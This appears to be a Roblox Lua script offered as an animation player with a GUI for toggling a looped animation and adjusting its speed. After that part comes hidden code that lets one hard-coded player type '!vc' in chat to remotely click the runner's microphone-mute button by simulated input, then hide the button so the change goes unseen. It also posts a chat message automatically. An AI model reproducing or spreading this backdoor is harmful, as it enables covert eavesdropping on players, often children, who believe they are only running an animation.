local p=game:GetService("Players").LocalPlayer
local u=game:GetService("UserInputService")
local h=(p.Character or p.CharacterAdded:Wait()):WaitForChild("Humanoid")
local g=Instance.new("ScreenGui",p:WaitForChild("PlayerGui"))
g.Name="GYATT"
local c=Instance.new("Frame",g)
c.Size=UDim2.new(0,120,0,160)
c.Position=UDim2.new(.5,-60,.7,0)
c.BackgroundColor3=Color3.fromRGB(25,25,25)
c.Active=true
Instance.new("UICorner",c).CornerRadius=UDim.new(0,10)
local t1=Instance.new("TextLabel",c)
t1.Size=UDim2.new(1,0,0,20)
t1.BackgroundTransparency=1
t1.Text="NEED TO BE IN R15"
t1.TextColor3=Color3.fromRGB(200,200,200)
t1.TextSize=12
t1.Font=Enum.Font.GothamBold
local b=Instance.new("TextButton",c)
b.Size=UDim2.new(1,-20,0,40)
b.Position=UDim2.new(0,10,0,25)
b.Text="STATUS: OFF"
b.BackgroundColor3=Color3.fromRGB(40,40,40)
b.TextColor3=Color3.new(1,1,1)
Instance.new("UICorner",b)
local s=Instance.new("TextLabel",c)
s.Size=UDim2.new(1,0,0,20)
s.Position=UDim2.new(0,0,0,70)
s.BackgroundTransparency=1
s.Text="Speed: 1"
s.TextColor3=Color3.fromRGB(200,200,200)
local bp=Instance.new("TextButton",c)
bp.Size=UDim2.new(0,50,0,30)
bp.Position=UDim2.new(0,10,0,95)
bp.Text="+"
local bm=Instance.new("TextButton",c)
bm.Size=UDim2.new(0,50,0,30)
bm.Position=UDim2.new(0,60,0,95)
bm.Text="-"
local o,t=false,nil
local sp=1
local function apply()
	if t then
		t:AdjustSpeed(sp)
	end
end
b.MouseButton1Click:Connect(function()
	o=not o
	if o then
		local a=Instance.new("Animation")
		a.AnimationId="rbxassetid://104200871407307"
		t=h:LoadAnimation(a)
		t.Priority=Enum.AnimationPriority.Action4
		t.Looped=true
		t:Play()
		apply()
		b.Text="STATUS: ON"
	else
		if t then t:Stop() end
		b.Text="STATUS: OFF"
	end
end)
local holdPlus=false
local holdMinus=false
local function holdLoop()
	while holdPlus or holdMinus do
		if holdPlus then
			sp=sp+0.1
		elseif holdMinus then
			sp=math.max(0,sp-0.1)
		end
		s.Text="Speed: "..string.format("%.1f",sp)
		apply()
		task.wait(0.05)
	end
end
bp.InputBegan:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
		holdPlus=true
		task.spawn(holdLoop)
	end
end)
bp.InputEnded:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
		holdPlus=false
	end
end)
bm.InputBegan:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
		holdMinus=true
		task.spawn(holdLoop)
	end
end)
bm.InputEnded:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
		holdMinus=false
	end
end)
local d=false s0=nil p0=nil
c.InputBegan:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1
	or i.UserInputType==Enum.UserInputType.Touch then
		d=true
		s0=i.Position
		p0=c.Position
	end
end)
u.InputEnded:Connect(function(i)
	if i.UserInputType==Enum.UserInputType.MouseButton1
	or i.UserInputType==Enum.UserInputType.Touch then
		d=false
	end
end)
u.InputChanged:Connect(function(i)
	if not d then return end
	if i.UserInputType==Enum.UserInputType.MouseMovement
	or i.UserInputType==Enum.UserInputType.Touch then
		local m=i.Position-s0
		c.Position=UDim2.new(
			p0.X.Scale,p0.X.Offset+m.X,
			p0.Y.Scale,p0.Y.Offset+m.Y
		)
	end
end)
task.wait()
local CoreGui = game:GetService("CoreGui")
local Players = game:GetService("Players")
local VIM = game:GetService("VirtualInputManager")
local Camera = workspace.CurrentCamera
local OWNER = "6540a54402"
local PREFIX = "!"
local hidden = false
local resolutionProfiles = {
    {min = 200, max = 500, x = 219, y = 39},
    {min = 501, max = 600, x = 234, y = 24},
    {min = 601, max = 700, x = 249, y = 24},
    {min = 701, max = 800, x = 249, y = 24},
    {min = 801, max = 900, x = 264, y = 39},
    {min = 901, max = 9999, x = 264, y = 39},
}

local function findVC()
    for _, v in ipairs(CoreGui:GetDescendants()) do
        if v.Name == "toggle_mic_mute" then
            return v
        end
    end
end
local function hideVC(btn)
    pcall(function()
        btn.Visible = false
        for _, v in ipairs(btn:GetDescendants()) do
            if v:IsA("GuiObject") then
                v.Visible = false
            end
        end
    end)
end
local function showVC(btn)
    pcall(function()
        btn.Visible = true
        for _, v in ipairs(btn:GetDescendants()) do
            if v:IsA("GuiObject") then
                v.Visible = true
            end
        end
    end)
end
local function clickVC()
    local btn = findVC()
    if not btn then
        warn("VC button not found")
        return
    end
    if hidden then
        showVC(btn)
        hidden = false
        task.wait(0.15)
    end
    task.wait(0.3)
    local viewport = Camera.ViewportSize
    local height = viewport.Y
    local targetX = 219
    local targetY = 39
    for _, profile in ipairs(resolutionProfiles) do
        if height >= profile.min and height <= profile.max then
            targetX = profile.x
            targetY = profile.y
            break
        end
    end
    VIM:SendMouseMoveEvent(targetX, targetY, game)
    task.wait(0.05)
    VIM:SendMouseButtonEvent(targetX, targetY, 0, true, game, 0)
    task.wait(0.05)
    VIM:SendMouseButtonEvent(targetX, targetY, 0, false, game, 0)
    task.wait(0.1)
    hideVC(btn)
    hidden = true
end
local function handleChat(player, msg)
    if player.Name ~= OWNER then
        return
    end
    msg = msg:lower():gsub("%s+", "")
    if msg == PREFIX .. "vc" then
        clickVC()
    end
end
Players.PlayerAdded:Connect(function(player)
    player.Chatted:Connect(function(msg)
        handleChat(player, msg)
    end)
end)
for _, player in ipairs(Players:GetPlayers()) do
    player.Chatted:Connect(function(msg)
        handleChat(player, msg)
    end)
end
wait(1)
local c=game:GetService("TextChatService").TextChannels.RBXGeneral

for _,m in ipairs({
    "AintMyCrib 🤫🧏"
}) do
    c:SendAsync(m)
    task.wait()
end